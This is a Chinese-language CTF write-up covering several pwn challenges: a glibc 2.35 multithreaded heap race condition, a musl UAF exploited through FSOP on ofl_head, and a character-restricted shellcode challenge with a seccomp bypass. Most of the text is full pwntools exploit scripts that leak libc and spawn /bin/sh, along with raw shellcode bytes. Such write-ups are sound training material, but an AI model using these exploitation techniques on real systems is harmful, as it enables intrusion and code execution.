你根本不在WACON,你在哪(
heap
一个很少见的多线程glibc堆题,既然是多线程,那么大概率是条件竞争
在edit功能中中有一个sleep(1)
alloc功能包含一个0x10的index_chunk和0x4F到0x68的data_chunk
由于是2.35版本的glibc,有fd异或保护,fd并不是实际的内存地址,因此直接edit条件竞争修改tcache的fd不可行
因此先分配一个0x68大小的chunk,在edit挂起时将其free掉,重新分配一个0x58大小的,就可以实现0x10大小的越界写
通过这个越界写修改下方的index_chunk的指针,就可以实现任意地址读写
注意thread 2的arena并不是main_arena而是某个内存页,其+0x8a0处存放着指向main_arena的指针,通过泄漏这个指针实现泄漏libc地址
EXP:
from pwn import*
r=remote("tcp.cloud.dasctf.com",26161)
#r=process('./heap')
context.log_level='debug'
def new(content):
r.recv()
r.sendline("1 "+content)
def show(idx):
r.recv()
r.sendline("2 "+str(idx))
def edit(idx,content):
r.recv()
r.sendline("3 "+str(idx)+":"+content)
def delete(idx):
r.recv()
r.sendline("4 "+str(idx))
new("a"*0x62)
edit(0,"b"*0x60+"\xa0\x08")
delete(0)
new("a"*0x58)
new("a"*0x58)
sleep(2)
show(1)
r.recvuntil("paper content: ")
libc_base=u64(r.recvuntil("\n",drop=True).ljust(0x8,"\x00"))-0x219c80
success("libc_base: "+hex(libc_base))
libc=ELF("./libc-2.35.so")
environ=libc_base+libc.sym["environ"]
system=libc_base+libc.sym["system"]
new("a"*0x68)
edit(2,"b"*0x60+p64(libc_base+0x219058-0x50))
delete(2)
new("a"*0x58)
new("a"*0x58)
sleep(2)
edit(3,"a"*0x50+p64(system))
sleep(2)
#gdb.attach(r,"b *$rebase(0x18BD)")
r.recv()
r.sendline("/bin/sh")
r.interactive()
cookieBox
musl 1.1.24上的UAF 这个版本的musl没有unlink检查,直接覆盖ofl_head
在exit时的close_file中就可以实现FSOP
EXP:
from pwn import*
r=remote("tcp.cloud.dasctf.com",25781)
#r=process('./cookieBox')
context.log_level='debug'
def new(size,content):
r.recvuntil(">>")
r.sendline("1")
r.recvline()
r.sendline(str(size))
r.recvline()
r.send(content)
def delete(idx):
r.recvuntil(">>")
r.sendline("2")
r.recvline()
r.sendline(str(idx))
def edit(idx,content):
r.recvuntil(">>")
r.sendline("3")
r.recvline()
r.sendline(str(idx))
r.recvline()
r.send(content)
def show(idx):
r.recvuntil(">>")
r.sendline("4")
r.recvline()
r.sendline(str(idx))
def exit():
r.recvuntil(">>")
r.sendline("5")
new(0x6c,"a"*0x6c)
new(0x6c,"a"*0x6c)
new(0x6c,"a"*0x6c)
delete(1)
new(0x6c,"b"*0x6c)
delete(1)
show(3)
libc_base=u64(r.recvuntil("\n",drop=True).ljust(0x8,"\x00"))-0x292b08
success("libc_base: "+hex(libc_base))
libc=ELF("./libc.so")
heap=libc_base+0x2954c0
ofl_head=libc_base+libc.sym["ofl_head"]
system=libc_base+libc.sym["system"]
payload=""
payload+="/bin/sh\x00"
payload+=p64(0)*0x5
payload+=p64(1)
payload+=p64(0)
payload+=p64(2)
payload+=p64(0)
payload+=p64(system)
new(0x9c,payload)
edit(3,p64(ofl_head-0x18)+p64(heap))
delete(2)
#gdb.attach(r)
exit()
r.interactive()
shellcode
一个仅允许0x4F到0x5F间字符的的shellcode,长度为0x10字节
这些字符几乎包含了所有的pop和push指令,可以实现大部分寄存器的控制
但是限制条件显然需要构造出syscall,通过read调用来加长shellcode以及逃出字符限制
read实现功能中有逻辑漏洞,可以多读取一个字节并且这个字节不受限制
并且由于未开启NX保护,shellcode保存在栈上,而0x10字节长度的shellcode空间后面是一个栈地址
考虑到syscall对应”\x05\x0F”,在栈地址的低位第二个字节为0x5时,配合多读取的一个字节的”\x0F”就可以实现syscall,下图是patch演示
因此最终这是一个1/256的爆破
特别注意到有一个比较特殊的seccomp沙箱,限制了syscall调用以及read和write时的fd
通过dup2调用绕过即可,dup2可以直接覆盖文件描述符而不需要close
(赛后听ln3师傅说,才知道开头的ye/no可以写syscall,不需要爆破)
EXP:
from pwn import*
context.log_level='debug'
while (True):
try:
#r=process('./shellcode')
r=remote("tcp.cloud.dasctf.com",24850)
shellcode="\x53\x5F\x53\x58\x59\x5A\x59\x59\x59\x59\x59\x59\x54\x5e"
r.recvline()
r.recvline()
r.recvline()
r.send("no")
r.recvline()
r.recvline()
r.recvline()
#gdb.attach(r,"b *$rebase(0x14F2)")
r.send(shellcode.ljust(0x10,"\x53")+"\x0f")
r.recvline()
r.recvline()
shellcode="\x90"*0xA+"\x41\x53\x5A\x57\x58\x0F\x05"
r.send(shellcode.ljust(0x14,"\x00"))
shellcode="flag\x00\x00\x00\x00"+"\x90"*0x8
shellcode+="\x58\x58\x58\x54\x5F\x48\x31\xF6\x48\x31\xD2\xB0\x02\x0F\x05"
shellcode+="\x48\x97\xB8\x21\x00\x00\x00\x48\x31\xF6\x0F\x05"
shellcode+="\x48\x31\xFF\x54\x5E\x41\x53\x5A\x0F\x05"
shellcode+="\xB0\x21\x66\xBF\x01\x00\xBE\x03\x00\x00\x00\x0F\x05"
shellcode+="\xB0\x01\x66\xBF\x03\x00\x54\x5E\x0F\x05"
r.send(shellcode)
r.recv(timeout=5)
except EOFError:
r.close()
continue
else:
#gdb.attach(r)
r.interactive()
break
risky_login
RISC-V架构的栈溢出 wine ida64分析会dump,qemu环境太麻烦(
不是还有一题easyvm嘛
抱歉啊,比赛有点太久远了,已经找不到附件了